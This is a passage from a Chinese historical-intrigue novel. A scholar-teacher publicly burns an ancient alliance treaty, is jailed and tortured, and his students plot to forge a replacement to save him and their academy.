“我会训斥谢英的。”蔺渊替他顺着气道:“但你一定记住,此事绝不可再为。哪怕是对亲近之人也不可为,太危险。”
“是。我明白了。”
蔺渊瞥了眼他铺满床的卷发道:“你这头发还能直回去吗?”
“能吧?”上官竹也不确定的看了眼头发。
“马上就要接王驾,你这幅模样成什么样子,明日之前必须恢复原样。”说完就起身离开。
49. 盟书被毁
蔺渊安顿好上官竹,就来隔壁找到谢英,他推门就道:“你过分了!”
“是你自己误伤学生,与我何干?”
“谢英!”蔺渊厉声拍下一桌子,他是真生气了。若是软剑还在腰间,真的会下意识拔剑,会伤到上官竹的。
“蔺渊!你将我困在书院是何意思?”谢英完全不怕,站起身来与蔺渊对峙道。
“明日王爷会来书院,我想请你装扮成学子模样,咱们一明一暗,务必保证王爷顺利拿到同盟书。”
“我若是不帮呢?”
“不帮也行,但你一定要留到明天。”
“我凭什么听你的?”
蔺渊的语气软了下去道:“留到明天对你没有任何损失,就当我求你了。”
谢英背过身去,冷冷地道:“喂,你求人便是这种态度。”
“我...咳咳。”也不知是方才过于激动,还是临近毒发。蔺渊又是止不住的咳嗽。那咳嗽的动静就连谢英都忍不住转身道:“让你求我,不是让你装死。”
“不是的,我....”蔺渊摆了下手,猩红的血迹在谢英眼前一闪而过。
“等等。”谢英抓住他的手腕道:“为何会咳血?你到底怎么了?”
蔺渊想夺回自己的手,可谢英就是不松手,死死盯着他。
“老毛病,放心,不会传人的。”他的脸色蜡黄,要说没事根本就没人信。
谢英觉得蔺渊自认身体不好,恐怕护卫不好同盟书,才求自己明日留下的,难得他服软,想到这他便松口道:“好,我明日留下。但不是为了帮你,是为了保护同盟书。”
“谢过将军。”蔺渊拱手行礼,迈着虚浮的步伐离去。
西峰崖上,女子的衣裙猎猎作响,她左等右等等不来人,正要转身离开时蔺渊出现。
“你怎么这么慢?”初月抱怨道。
“临近毒发,你还要我怎么快?”
初月得意的一笑:“可有拿到同盟书?”
蔺渊指着不远处的藏书楼道:“那里,咳咳咳。”
“你唬我!所与人都知道同盟书在藏书楼。”她揪着蔺渊的衣领道:“你还想不想要解药?”
“你真的会给吗?”吸了不少凉风的蔺渊咳嗽的更厉害。
初月的眸子有些飘忽,似乎被蔺渊看穿了心思。蔺渊叹口气道:“我就知道。”
“胡说,我与你约定,定然会给你解药。”初月声音温柔下来。
“不必了,你现在杀了我都行。我真的好难受啊。”蔺渊慢慢蹲下去,不停的咳嗽。“咳咳,就算我拿到同盟书,这样的病体也没有精力复制出完全一样的盟书。”披风下的蔺渊双目有神,可声音却羸弱的像同远方传来般。
他见初月不为所动,直接拔出匕首就顶在胸口,初月连忙摁住他的手道:“寒毒毒发确实非常人所能忍受,但并非无法缓解。”
怕蔺渊求死,初月连忙将药方塞到蔺渊手中道:“虽不能根治解毒,但缓解咳血以及肺部刺痛还是有用。你放心,只要我得到所要的,定会给你解药。”
她见蔺渊松开匕首就知道自己劝慰成功,安抚几句便离开了。
躲在暗处的唐黎探了探头,确定四下无人后来到蔺渊身旁道:“你装的可真像啊。不知道的还以为你真中毒。”
蔺渊蜷缩在斗篷下没有回应,唐黎同样蹲下,用肩膀碰了碰他道:“人走了,别装了。”
“.......”还是没有动静。
“你别吓我。”唐黎有些慌了,她连忙掀开斗篷见蔺渊正笑盈盈的看着自己。
她抬手就是一巴掌打在对方肩头:“好啊,你哄我。”
“疼啊!你的手劲怎么比林焕还要大。”蔺渊捂着肩头快走几步躲着她。
唐黎很快就追上蔺渊,拿过他手中的药方道:“不是说没中毒吗?你真要吃这个药?”
“做做样子而已。你下山让贾先生配几份来。”
“放心,一定完成任务。”唐黎挥挥手,朝着山下跑去。
“慢点跑,注意脚下。”蔺渊嘱咐完低头又是一阵狂咳,这次甚至吐了口血来,他用脚蹭来落叶挡住血迹。
唐黎以最快的速度折返回来,去找蔺渊前先回自己的住所灌了壶茶水。
“瞧你跑的,满头大汗。”看书的林焕抬头道:“你还是静下心来看些书吧,别满世界乱窜。”
“府试不适合我。”她抱着包裹道:“我去给蔺渊送些东西。”
刚出门就撞上来人,唐黎被撞了个踉跄:“冉师姐?什么事这么惊慌?”
“有人西峰崖下发现死人,听说是赵雪儿。”
“赵…初....初月?”唐黎磕磕巴巴的抬头。上午还见到初月呢,怎么这会儿就死了?
“什么初月?今儿是半月。”冉晴摆手道:“对了,学官嘱咐此事不可声张,明日咱们书院还要接王驾呢。”
唐黎也紧随其后出了院子来到寓所,苏天赐告诉她:“夫子被山长叫走了,说是再对一遍明日接驾的流程。”
唐黎便坐在院中等着蔺渊,不知为何她总觉得初月的死与蔺渊有关,但是又想不明白蔺渊为何要在今晚动手,把初月抓住交给朝廷不正是大功一件吗?
谢英倚在门边,看着满目愁容的唐黎问道:“脸都皱成苦瓜了,这是怎么了?”
“表兄呀,你吓我一跳。”唐黎顺了顺气。
“这是你的吧。”谢英将剑递给唐黎道:“兵马司打扫后山时发现的。”
看到软剑的时唐黎眉头舒展一些,本来前几天还在为这把宝剑丢落而惋惜,谁曾想又回到自己手中。
“多谢。”唐黎熟练的将剑缠回腰间,就听谢英问道:“这把剑你从何处得来的?”
“表兄认识此剑?”她反问道。
“见过差不多材质的,但与这柄纹路不太同。”
唐黎好奇的问道:“在哪里?谁的?”
“十多年前了,是位女子所有,我与她也就一面之缘。”
“女子?”唐黎很快抓住关键词。蔺渊腰间缠这把剑,难不成也是女子所赠?
迅捷剑向来体量轻,倒是女子惯用的佩剑。
谢英一直观察着唐黎,见她皱起眉头便知道自己的话起了作用,又补充道:“这剑你回家后就别掏出来了。”
“为何?”
“你看它的剑柄并非圆润,而是只有一半。”谢英指给唐黎看,继续道:“此剑为鸯剑,鸳鸯的鸯。与另一把剑可合为一柄。双剑多为定情之物。”
“这……”唐黎眨眨眼,难不成是蔺渊的定情信物?
谢英再次问道:“你这剑哪来的?”
“一两银子买来的。”唐黎隐瞒此剑的来历,打算明天就将此剑还给蔺渊,之前是不知情胡乱要过来,这下说什么也不能留下。
谢英倒是没有再问下去,知道自己的提醒起到作用。他陪着唐黎坐了一会儿便回屋。
眼看金府就要落钥蔺渊还未回来,唐黎苦等不到只好先回寓所。
翌日
钟声按时敲响,每一位学子都穿上崭新的院服,除了负责奏乐的学子外,其余的都排列整齐等待王爷的到来。唐黎在此刻才见到蔺渊,以及蔺渊身后的谢英。
“天赐去奏乐了,就让谢英顶他的位置。”蔺渊安排道。他来到唐黎身边低声嘱咐道:“你与谢英的任务一样,务必要盯好同盟书。”
“昨晚初月死了。”唐黎抓紧时间告知这条消息。
蔺渊眸中闪过一丝惊讶,显然他不知道这个消息。不过现在没时间去想初月的事。他安排完唐黎就站到山长身后,静待王爷仪仗。
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随着乐声响起,红罗绣四季花伞慢慢展现在众人面前,紧接着是红罗销金瑞草伞,青罗绣孔雀扇,旗枪十根,豹尾枪四根,仪刀四把,浩浩荡荡的队伍将山路站尽。
王爷本人更是亲自登山以示对书院的敬重。这可把山长感动坏了,躬身作揖吉祥话说了个没遍,直到王爷的内侍官开口讲话才让山长停下来。
“大楚裕亲王,奉陛下之命,恭请楚明盟书。”
山长立马在众多侍卫的保护下将同盟书拿出,恭敬的摆到供案上。
香案两旁皆是燃烧着的火盆,分别有人将写好的青词放入火盆之中,以告上天今日所发生之事。
随后轮到蔺渊上场,他恭敬的捧起同盟书,仔细的将其展开。在得到内侍官的许可,便开始大声诵读。
“平元十五年……东清伐楚,殆亡之国。朕异日无事,必账诸公。是以朕招贤以除暴,构兵以安群,节亲以政治,务民以财用……”
书院上下充满蔺渊铿锵有力的诵读声,而这时山路上有一队人马正以最快速度上山。
“邓州兵马司长官史顾平安,有要事面见王爷。”他上来就告知王爷亲卫自己的来意。
“顾相公稍后片刻,待属下为您引荐。”
“来不及了!有人要毁盟书!”
亲卫打断他的话,不以为然的笑道:“近百名亲卫围住书院,怎么可能……”
顾平安晃着手里的信封道:“是蔺渊!有人举报他要毁掉盟书!千万别要他拿到同盟书!”
亲卫齐齐回首看向山门,方才的炮仗声说明青词已烧,而下一步便是诵读同盟书。
“……兼土以役力,供贺以犒士,国有熙熙之风,家有安均之利……凡利民利国者,知其危者,事同气者!”
裕亲王颇为满意的点头,这位夫子诵读盟书声情并茂,仿佛能将人拉回到百年前的亲历盟书签订那刻。
山长也是如此认为,甚至窃喜蔺渊官运不畅,才会来花洲书院担任夫子,才会让书院得到王爷的青睐。
念完盟书的蔺渊缓慢的转过身来面向大家,他并没有将盟书合上,而是双手同时用劲儿使得百年盟书一分为二,随手将其丢到身后的火盆中,那跳跃的火苗直接将盟书吞噬。
…………
现场安静极了,火焰倒映在蔺渊的眸中,他平静的看向唐黎冲她微微一笑。唐黎瞪大眼睛,满眼都是不可置信,她的手比脑子要快,此刻已拔剑出鞘。
亲卫带着众人姗姗来迟,大喊道:“有人要毁同盟书!”
盟书的灰尘正乘风而上,飘荡几下再次落入火中。
众人这才反应过来盟书被毁,亲卫纷纷拔出刀剑保护王爷。唐黎率先飞身追赶逃跑的蔺渊。
身负寒毒的蔺渊怎能与唐黎相比,很快就被唐黎追上。两人只过了一招,蔺渊便败下阵来,但唐黎的剑并未刺向蔺渊,而是停在他胸口三寸外。
“为何?”唐黎不解的问道,蔺渊的行事实在过于离谱,毫无逻辑可言。
蔺渊捂着胸口不停的咳嗽。唐黎看了眼身后追上来的大部队,急忙道:“你快解释啊,否则谁也救不了。书院布满侍卫你是逃不掉的。”
蔺渊缓缓抬起头,他的眸子还是那么平静,平静到看不出任何波澜。他往前迈了一大步,剑尖直接刺进他的胸口。
“你……”唐黎的手微颤了一下,她甚至来不及收剑。
身后的护卫纷纷赶来,看到是书院学子生擒贼人的那一幕。
他们一边将蔺渊五花大绑的押解下去,一边夸赞着唐黎英勇无比,巾帼不让须眉。
而唐黎的目光却始终定格在蔺渊背影上。
一个南衙派来保护盟书的人,为何要亲手毁掉盟书?还是在众目睽睽之下。
他不该,也不会做出这种自寻死路之事。
50. 蔺渊,死罪
因同盟书被毁,整个书院处于封禁状态。所有学子的住所,夫子、学官的寓所都要被搜查,每个人也要接受被盘问。
十八斋的四个人围坐在一起,他们耷拉着脑袋一声不吭。就连一向爱说话的上官竹都安静不少。如今的情况他搞不太懂,夫子怎么就毁了盟书,心烦意乱的他看向林焕,林焕也是一脸想不明白的表情。
这时官兵走进来上来就问唐黎何在。
上官竹立马反应过来,护在唐黎身前道:“你要干什么?”
“自然是问话。”他一把将上官竹推开,并且警告道:“再敢妨碍公务,定将你丢入牢中。”
“唐黎。”林焕紧紧揪着她的袖子,唐黎安慰的拍拍她的手,转眸对官兵道:“我跟你们走。”
官兵在书院占了个寓所作为询问处,唐黎是被人粗鲁的推进屋中,她稳住身形才看清屋内的三人。
谢英上前扶住她,为她介绍道:“兵马司的顾相公,裕王出使随行侍卫长王将军。”
最后再介绍唐黎道:“我的表妹。”
一句简单的介绍算是将唐黎的身份表明,也亮明自己的态度。
“谢将军的表妹?”王将军那慵懒的坐姿逐渐端正,拿过一旁的信封并双手交给唐黎道:“这是兵马司收到的信,举报蔺渊会毁掉同盟书一事,学子请过目。”
唐黎没有接,而是转头看向谢英。自己并没有参加南衙的一切行动,这事的经过结果都不应该说与自己。
谢英拿过信封道:“认认是不是你的笔迹。”
唐黎狐疑的展开信,瞳孔立马放大:“这确实是我的笔迹,但……”
谢英冲微微摇头示意她先不要说,转手将她手中信交还给王将军道:“我表妹胆子小,将军若是信得过我,剩下的问询交给我。”
“是是是,那是自然,您请便。”王将军起身离开,顺便把屋里好奇的顾平安拉走。
等人一走唐黎立马道:“不是我写的,我怎么会去举报蔺渊毁盟书,他明明是保护盟书。”
“仿造你的字迹,蔺渊有这个本事。”
“为何?他为何要举报自己?”唐黎实在想不通。
“你好好想想蔺渊最近有何异常?”
唐黎来回踱步仔细回想,突然停下脚步道:“蔺渊说要带我立功,让我能谋得一官半职。这……”她指着信,有些不可置信道:“为了让我立功,故意为之?”
“不可能,他不会为你做到这个地步。”
虽然唐黎也认为蔺渊不会为自己做到如此地步,但还是被谢英斩钉绝铁的语气搞的有些郁闷。
“听你的口气,你和蔺渊很熟?”
“不熟。”谢英分明不想回答,唐黎也不打算追问,反正他们个个都有秘密,她早就习惯。她现在关心的是蔺渊。
“蔺渊如今毁掉同盟书,他会如何?”
“死罪。”
“蔺渊没有理由毁盟书!”唐黎再次强调的。
“那得看审问结果。”
“你们还要审他?”唐黎的语气变得急促,就他那虚弱的身板,方才还挨上一剑,哪里经得住拷问。
“剩下的事与你无关,这几天老实待在书院,我保证不会再有人来烦你。”说完他便离开。
直到唐黎回到住所她也没搞明白今日所发生的一切。林焕见她回来,上前几步道:“没事吧?可有为难你?”
林焕对于蔺渊的状态担忧无比:“夫子会被如何?真的会受刑吗?”
唐黎端起茶壶倒茶,最后也没心情喝,她抬眸看向林焕道:“死罪。”
“啊。”林焕捂着嘴,难掩惊讶。
唐黎将茶杯放在桌子上,继续道:“此事绝对没那么简单,一定有隐情。”
林焕闻言点头道:“我也是这么觉得。我打听过白虎山的事迹,他们不是占山为王的贼寇,而是劫富济贫的义士。夫子曾说不以国之大小,不以民之富贫,只以民之忠孝为贵。他教我们要忠君爱国,又怎会毁掉盟书破坏合盟,伤害大楚呢?”
唐黎低头沉默了许久,她其实心中一有法子只是太过冒险。就想着说与林焕听听她的建议。
“如今的情况,只有仿照个同盟书才能救下蔺渊。”
“啊?这可是欺君之罪。而且那么多人看到蔺渊亲手毁掉同盟书,即使你伪造出来又如何让人信服?”
“我先听我说…”唐黎拉过林焕的手就将她护在身后,对着院中阴影处说道:“滚出来。”
“唐姑娘,幸会。”女子穿得是学子的服饰,但脸生的很,唐黎扭头问着林焕道:“认识此人吗?”
“不认识。”林焕低声提醒着唐黎道:“她的袖子裙子都有些短,这身衣裳定不是她的。”
女子也不客气直接坐下道:“死的是赵雪儿并非是我。”
“你是初月,你没有死?”唐黎很快反应过来,那崖下的尸体是三月前身亡的赵雪儿,而面前的初月得到消息便换回自己的本来面目。
初月抬眸看向唐黎道:“唐姑娘到底是聪慧,伪造盟书一事确实能救蔺夫子。”
唐黎坐到她的对面,不以为然道:“他活不活命与我相干?我们认识的时间又不久。对吧,林焕。”
身后的林焕点头附和道:“确实。”
初月自然知道对方是在嘴硬,她笑道:“那书院的未来你们也不在乎吗?保护盟书失利,惹到陛下降罪,这书院可就要关门喽。”
她抿了口茶又道:“哦,对了,书院关门不正好称了你母亲的意嘛。是吧,唐姑娘。”
“你到底是谁?”唐黎的拳头紧握,此人到底是谁,为何对我的事如此了解。
“我是谁不重要,我的目的只有一个,同盟书。”
林焕道:“可是同盟书已经毁掉,所有人都看到了。”
“就如唐姑娘所说伪造一份同盟书给我。你们书院人才辈出,定能做到。”
唐黎盯着初月想看透她的心思,可初月总是笑意相对更是悠闲的品茗,似乎很笃定唐黎会同意。
“不着急,我明天再来。不过……”她临走前,故意将声音拉的很长道:“猜猜你们的蔺夫子能受几道刑罚?”
不单是唐黎林焕这般觉得,就连对蔺渊颇有成见的谢英也是这般认为,于是他来到牢房想当面问个清楚。
蔺渊的咳嗽声充斥整个牢狱,他用手压住胸口想缓解疼痛,反倒咳出血来。
“风寒还没好?”谢英难得关心起蔺渊的身体状况。
蔺渊摇摇头,又咳几声道:“谢将军怎么会来这腌臜地方?”
“为何要往唐黎的剑上撞?你就这么想找死吗?”
蔺渊虚弱的笑道:“将军不该问同盟书的事吗?”
“不着急。”他蹲了下来,递过去一方手帕。
蔺渊接过帕子将身上的血迹一点点擦干净。他本就是极爱干净的人,哪怕是在最恶劣的环境中,也绝不愿让自己狼狈不堪。
狱卒这时走过来,对着谢英恭敬地行礼:“王将军要提蔺万宗过堂。”
谢英的目光落在蔺渊脸上,他的脸色苍白,身上的血迹还未干透,显然刚受过一波刑法。
“大刑之下你竟然没招?我记得你是最怕疼的。”
“老子好歹也是七尺男儿,岂能轻易屈服。”蔺渊的话很硬气,但语气却很虚弱。那副模样让谢英觉得他挺不过下一轮刑罚。
“走!”蔺渊被狱卒架起来,他的脚步有些虚浮,刚走两步就差点跌倒。
“等等,我来审。”谢英抬手拦住狱卒。
“谢将军,这不合规矩吧?”狱卒有些为难的说道。
“你只需将我原话转告给王天佑。”谢英的语气十分强硬,直呼
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对方离将军名讳。
狱卒不敢招惹他,只好道:“既然如此,那小的先回禀一声。”
蔺渊被狱卒丢到地上,他脸颊正贴着冰冷的青石板,一股凉意直刺骨髓。谢英也不管他,居高临下问道:“我一向不推崇严刑逼供。你现在招了便不会再吃苦。”
蔺渊挣扎的起身道:“凭什么你问我就要招。这样显得王将军挺没本事的。”
见他还有心情玩笑,谢英捏过他的下巴,强迫他抬起头来与自己对视。谢英眯着眼睛说道:“你是我师父的故人,就算死,也得死在我手中。”
听他提到师兄,蔺渊先一愣,继而苦笑道:“就当为你了师父,此事莫要参与。”
谢英默默地站起身,沉默许久。昏暗的牢狱中蔺渊看不清他的表情,只觉得他的背影十分孤寂。
“你和我师父一样,什么事都不愿告诉我。在你们眼中我就是个傻子吗?”谢英自嘲笑了两声。
“我们都是为你好。”
“又是这句话,我早已听腻。你也比我大不了几岁。别拿长辈的语气与我讲话。”
“我没想充大辈儿,有些事你还是别参与的好。恕我不能如实相告。”蔺渊说得真诚。
“想没想过会给你定什么罪?”
“罪?”蔺渊不以为然的摇头道:“我身上背负的罪责可不少,不怕多这一个。”
“化名万宗,跟我说说此为何意?”
“你师父曾说过,渊兮,似万物之宗。故建议我......字万宗。”
“我只当你忘了师父的话。蔺渊可以是强盗头子,可以是卖国贼。但万宗是师父给你起的字,你也要让这个字蒙上污尘吗?”
“我……”蔺渊的嘴唇微颤,他想要反驳谢英的话,却发现根本无力辩解,只能任由谢英摇晃着自己。
“你浑身上下最干净的就是这个名字,如今你还要让它背上罪责!”
“……”
蔺渊眼眶微微泛红,他缓慢闭上眼,感受到喉咙有些哽咽。谢英的话让他回忆起过去,回忆起求学的日子,回忆是放榜的日子,回忆在大理寺当值的日子,而这些日子都有师兄的陪伴。
谢英说的对,蔺万宗是自己还拥有的唯一干净之物。
“你就算死也不与我相干,蔺万宗必须干净的死!还请你不要瞒着我!”
谢英的话让蔺渊有些动摇,他扶上谢英的肩头道:“不过是拿人钱财与人消灾罢了。”
“谁?”谢英见有突破口,连忙追问道。
“咱们都认识,北衙统领华敬。”
“你放屁!”他气的直接起身,指着蔺渊的手都在发抖。
“诶诶诶。”蔺渊扯起嘴角笑了起来:“这话你不该说出口,有失身份。”
“谁毁同盟书我都信,就华敬不可能。他胆小如鼠最怕打仗上前线,怎会主动破坏议和?”
“要不然你们是表兄弟呢,熟悉的很啊。”蔺渊微微抬手示意对方稍安勿躁,慢慢解释道:“北衙是不是归华敬管?他为什么要刺杀你?就怕你阻碍到我的行动。”
“这么说伢子刺杀我的事情你事先知晓?”
这事蔺渊确实不知晓,但此刻的他点头认了下来。谢英却笑了,这话听着就可笑。要说别的事情兴许有一丝可能,单要说蔺渊刺杀自己,这事绝不可能!
谢英心里跟明镜似的,蔺渊对师父的死有愧,师父无后又只有自己这么个徒弟,蔺渊是无论如何都不会伤害到自己的。
“你就是个骗子!大骗子!你说的一个字我都不会信的!”谢英站起身,恨不得再踢蔺渊几脚。
“诶,你这孩子。说了你又不信,爱信不信。”说完就背对谢英假寐,完全不再搭理对方。
“好!”谢英冷笑一声,他朝着门外喊道:“狱卒!你们把人提走吧。告诉王将军,严审。”
51. 花洲书院关不得
阴冷昏暗的牢房传来脚步声,狱卒带着四位青年出现在通道中。犯人见到队伍中有年轻貌美的女子,伸长胳膊挑逗起来,还有人吹起流氓哨。
“看什么看,都给我闭嘴!”牢头敲着狱门,呵斥着犯人。
他能管得住犯人不再说话,可管不住他们的眼神,那些人的眼神无比下流的打量着队伍中的两位女子。
上官竹脱下外套罩在林焕身上,以此挡住犯人猥琐的视线。苏天赐有样学样将衣服脱给唐黎,唐黎摆摆手,眼神一直望向远方,她心系着蔺渊只想赶紧看到对方。
“嗯,到了,就是这儿。”
上官竹掏出一个小银锭,牢头立马哈腰道:“少爷您这也太客气了。小的去给您望风,你们尽管说话。”
“夫子。”林焕带上哭腔,面对满身伤痕的蔺渊就忍不住落下泪来。夫子本就纤弱的身板看着更加脆弱。
“这帮孙子,竟然打得这么狠。”上官竹的骂人声惊醒了蔺渊。
蔺渊缓缓睁眼,唐黎上前想扶起他,谁知蔺渊下意识就将她推开,抬眸间满是戒备。
当看清来人是学生们时,他的神情才柔和不少。又想伸手去扶唐黎,结果扯到伤口忍不住蜷缩身子。
林焕拆着包裹道:“这是复叔准备的伤药,上官快给夫子上药。”
蔺渊拦住上官竹的手道:“你们真的不该来此,快些离开,小心惹祸上身。”
“夫子放心,不用担心我们,我还是先为夫子上药吧。”
“使不得,使不得。这不合适。”蔺渊躲着上官竹前来扒衣服的手。实在是有女学生在此,宽衣解带的,不合适啊。
唐黎太了解他那死板的脑筋,干脆拉着林焕背过身去。见蔺渊这样还不愿意,唐黎干脆拿过药瓶就要给蔺渊上药。
蔺渊躲无可躲,他妥协道:“让上官竹来。”
唐黎见目的达到就将药瓶扔给上官竹,自己则是背过身去,忍不住吐槽道:“矫情。”
冰凉的药膏触碰到皮肤,疼得蔺渊倒吸一口凉气,上官竹抹药的手跟着颤抖,夫子被打的也太狠了吧。不由得叹口气道:“何苦惹这事啊。”
蔺渊不言语,他不想给学生们找麻烦,所以关于同盟书的一应问题都选择沉默。
最后把唐黎给惹急了,她忍不住回身道:“你是真倔。所有人都相信你的人品,认为你撕毁盟书是被逼无奈,你就是这般回报大家的?”
“.......”蔺渊愣愣地抬眸对上唐黎的视线,而唐黎的视线却停留在他的满身伤痕上。
不只是新伤,还有不少旧痕,这些伤痕接错在一起,让白皙的皮肤显得狰狞可怖。他哪里来的这么多伤疤?即使是混江湖的,身为统领哪里需要他来身先试行?
蔺渊慌忙地穿着衣裳,一时间触碰伤口便疼到皱眉,唐黎怕他再次伤到自己,连忙背过身道:“你别乱动,好歹让上官竹帮你清理好伤口。”
那边清理着伤口,这边唐黎念叨着:“盟书被毁一事被裕王压下来,书院所有人被封禁在山上,目前为止朝廷还不知道。知县、知府、兵马司、书院、裕王所有人都在想解决办法。
这事往大了说,盟书不能被毁,大楚不能开战。往小了说,当官的想保住自己乌纱帽,想保住邓州的招牌花洲书院。你知不知道自己惹下多大的祸事?”
这话术蔺渊听着熟悉,直接点明道:“是谢英教你说的吧?你们几个也是谢英放进来的?”这小子学精了,知道换不同人来套话。
蔺渊看着上官竹向他求证,一向爱说话的上官此刻竹紧闭嘴巴,也不敢去看蔺渊的眼睛。
于是将视线转向忙活贴平安符的苏天赐,他因为修道的原因从不说谎。
“天赐,你来说。”
果然苏天赐没有让人失望,他和盘托出道:“是上官竹的爷爷放我们进来的。”
“你怎么也学会说谎了?”蔺渊忍不住咳嗽起来。上官竹的爷爷怎会突然出来,哪里和他老人家能扯上关系。
苏天赐放下手中的符纸,无视上官竹的摆手警告,认真回答蔺渊的话道:“上官竹的爷爷是邓州知府,所以能放我进来。”
“知府相公不是姓张吗?”蔺渊探究的目光看向上官竹,上官竹赔笑道:“这不是低调嘛。”
“所以你府试写文章骂主考官,是骂自己的爷爷?”
苏天赐的声音悠悠传来:“他骂的主考官是鸿胪寺少卿,是他的父亲。”
这关系怎么越来越乱?
听着还要解释的上官竹,唐黎忍不住插话道:“这是重点吗?你们药到底上没上好?”
“好了好了。”上官竹帮忙给蔺渊披上衣裳。
唐黎终于能回身正视蔺渊,她直接说明来意道:“现在有一个法子可解困顿。”
伪造同盟书!
林焕铺开折子,准备好笔墨纸砚摆放在蔺渊面前,奉上毛笔道:“夫子快写吧,能保命的。”
上官竹也在一旁道:“是啊,快些写吧。”
蔺渊却没接笔:“北明要是知道同盟书是伪造的话......”
对此唐黎的解释是:“当年楚明和盟后,一册藏于花洲书院,另一册沉入天湖祭地。北明手中只有抄本,没有原本。见过三百年前盟书的人,早就作古。”
“可这纸是新纸,墨是新墨。实在难以作伪。”蔺渊面露难色。
“做旧的事我来想办法。”唐黎歪头看着蔺渊的神色,试探的问道:“你不会不想写吧?”
“实在是力不从心。”他苦笑着伸出手来,那手伸出来时颤抖不已。上官竹捧着蔺渊的手,林焕注意到那血污的手上少了几片指甲:“您的指甲……”
蔺渊虚弱地笑道:“没事。只是有一点点疼。”他抬头望向唐黎道:“伪造盟书的事我确实做不到。”
“.....”唐黎垂下眸子,满身伤痕的蔺渊任谁看都于心不忍。只是他受的伤越重,就越搞不明白他为何要毁掉盟书。
蔺渊稍微坐直些身子道:“多谢各位怜爱。你们放心,此罪在我一人。”
他对着唐黎拱了下手道:“保证不会连累到花洲书院。”
又看向上官竹道:“亦不会连累邓州府衙。各位请回吧。”
上官竹扶着蔺渊道:“我们不是这个意思。大家真的在想解决办法。您何必如此执拗?”
蔺渊转眸看向上官竹,一字一顿的问道:“信我吗?”
上官竹狠狠点点头道:“信。”
“那就回书院好好读书。我向你们保证,大家都会相安无事。”
“那谁会有事!?”唐黎声音高上几分。嘴上说着没事,结果害自己伤成这副德行。不知道自己身体弱,也该知道痛啊。
明明那么怕痛,偏要死撑,唐黎的心不由得揪痛起来。
“谁都不会有事。唐黎,你若是信我,便多等一天。就一天,一天之后一切都会见分晓。”他的目光坚定无比,甚至可以说在恳求着唐黎。
“要是你倒霉死掉,没人埋你。”唐黎转身就走。她怕自己再不走眼泪就该落下。
“别这么说。”林焕拉了拉唐黎的衣袖,她知道唐黎是刀子嘴豆腐心,但此刻这般说话是会伤了夫子的心的。
“夫子这你拿着,能保你平安。”苏天赐临走前塞进蔺渊手中一道符纸。
众人从牢狱出来就直奔书院,十八斋的讲堂成为商议之所。上官竹神态轻松,毕竟蔺渊给他保证过一切都会没事,对此他深信不疑。
唐黎依旧忐忑不安,在堂下来回踱步。
“五斋的师兄师姐来了。”
唐黎连忙起身相迎:“余师兄,赵师姐快些请进。”
陆陆续续聚集越来越多的学子。都想从唐黎这里打听到书院会得到什么结果。
之前唐黎就曾说过,毁掉盟书一事可大可小,但都会影响到花洲书院。
此事一旦暴露,最好的结果是被衙门接手,对书院每一位进行盘问,被关在上山一段时间。
最坏的结果则是陛下迁怒与书院,花洲书院不复存在。
但无论是何结果都会影响即将开始的府试,更别说书
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院若是出事,这些学子将何去何从。
此刻众人都低着头,偌大讲堂下安静了。上官竹见不得大家如此消极便跳上桌子道:“别那么丧气,蔺夫子说了再等一天,一切都会结束,咱们要相信夫子。”
“还一切都会结束,书院关门就是结束!参加府试必须由书院统一报名,书院关门咱们还考什么?这不是当误事嘛。”
“真是!山长聘来的什么夫子,分明是个惹事精!”
上官竹立马维护着蔺渊道:“诶,你怎么说话呢。朝廷哪句话让书院关门?你不往好处想,自己丧不拉几还有脸说别人。”
当然有人持不同意见,反驳道:“你才认识姓蔺的几天?他说的话就这么信?”
“信!”上官竹梗着脖子回复道。
“我看你就是个信球!”那人骂骂咧咧的,还朝上官竹呸了几下。
上官竹混劲儿上头,要不是林焕拉着他早就一拳挥出去。
“安静!”唐黎大喝一声,堂下瞬间安静不少。
“刘师兄说的对,十八斋与蔺渊只认识月余,确实不值得相信他的话。”
“唐黎你……”上官竹刚要说话就收到对方制止的表情,碍于唐黎的面子愣是将话咽了回去。
唐黎走向桌子,示意大家稍安勿躁:“大家的心情我都能理解,打架解决不了问题只会引来兵马司。静下心来好好想想解决法子。”
唐黎拉过余平,冉晴,王邵等较为靠谱同窗来到偏室。
“我这有一法子,兴许可以解决书院的危机,便是伪造盟书。”
这话一出所有人都安静了,伪造盟书可是欺君之罪,搞不好要掉脑袋的。
对此余平提出异议道:“万一被北明看出破绽怎么办?再说了亲王不会愿意冒这么大的风险。”
冉晴开口道:“此事主要在北明,如果北明有意和盟,就算王爷拿过去的是白纸,北明也会认下。反之,哪怕是真的盟书,北明也有很多理由来拒绝此次和盟。”
唐黎点头道:“无论北明是何意思,咱们书院就咬死是真盟书,我就不信他们能找到见过三百年前盟书的人。王爷那边我去说服,现在的难点是复制盟书。”
王邵问道:“蔺夫子不是能做到吗?”
“夫子的手被伤,暂时无法用笔。”林焕给每人倒了盏茶。
“那……”王邵看向身旁的上官竹道:“我记得上官师弟对书法颇有造诣。”
“行倒是行,难在我没见过原本。我总不能用自己的字迹来写盟书吧。”
“此事我知道。”苏天赐举手道:“我虽没见过原本,但我知道盟书是出自花洲书院第二十四任山长,此乃我叔祖,家祠中能找到叔祖的手札。”
上官竹自信满满的道:“那行,我可以根据手札仿个盟书。”
“天赐此事就有劳你了。”唐黎安排道。
冉晴起身道:“王师兄善于丹青,做旧一事就交于他吧。”
王邵点头道:“不敢托大,五百年做不到,二三百年还是可以的。”
“有劳王师兄。冉师姐,那图章……”
“还是师妹了解我,我爱好收藏印鉴图章的。两国结盟所用印章定为国之重器。虽说仿章会掉脑袋吧,但盟书都仿了,也不差这一条罪责。”
安排好一切唐黎长吁一口气,要说花洲书院里最怕书院关门的便是她。别人丢掉的是考试机会,而对于唐黎来说,很可能因此葬掉一生。
“你干嘛还这么紧张?是不相信夫子吗?”上官竹单纯的问道。
“不信。”唐黎回答道毫不犹豫:“咱们才认识不到月余,他是何脾气秉性你我都不了解。我为什么要信他?又凭什么要信他?”
“那夫子被关进牢狱,你紧张什么?”上官竹的话直接被唐黎打断。
“我的处境你最为清楚,花洲书院关不得。”
至于蔺渊,一切苦难是他自找的。但我不会放任不管,同盟书会安然送出去,蔺渊必定会安然出狱,大不了我回趟家给母亲服个软,无论如何也要保下蔺渊的命。
52. 南衙统领
花洲书院学子们的小动作没人知晓,因为大人们的视线都聚焦在蔺渊身上。
一个教书先生毁掉两国同盟书。图啥?
是啊,图啥?
张知府叹口气,再有不到三个月便是年关,好不容易挨到三年一度的官评,偏偏在这节骨眼上出了岔子。别说留任京官,邓州还能不能待下去都两说。
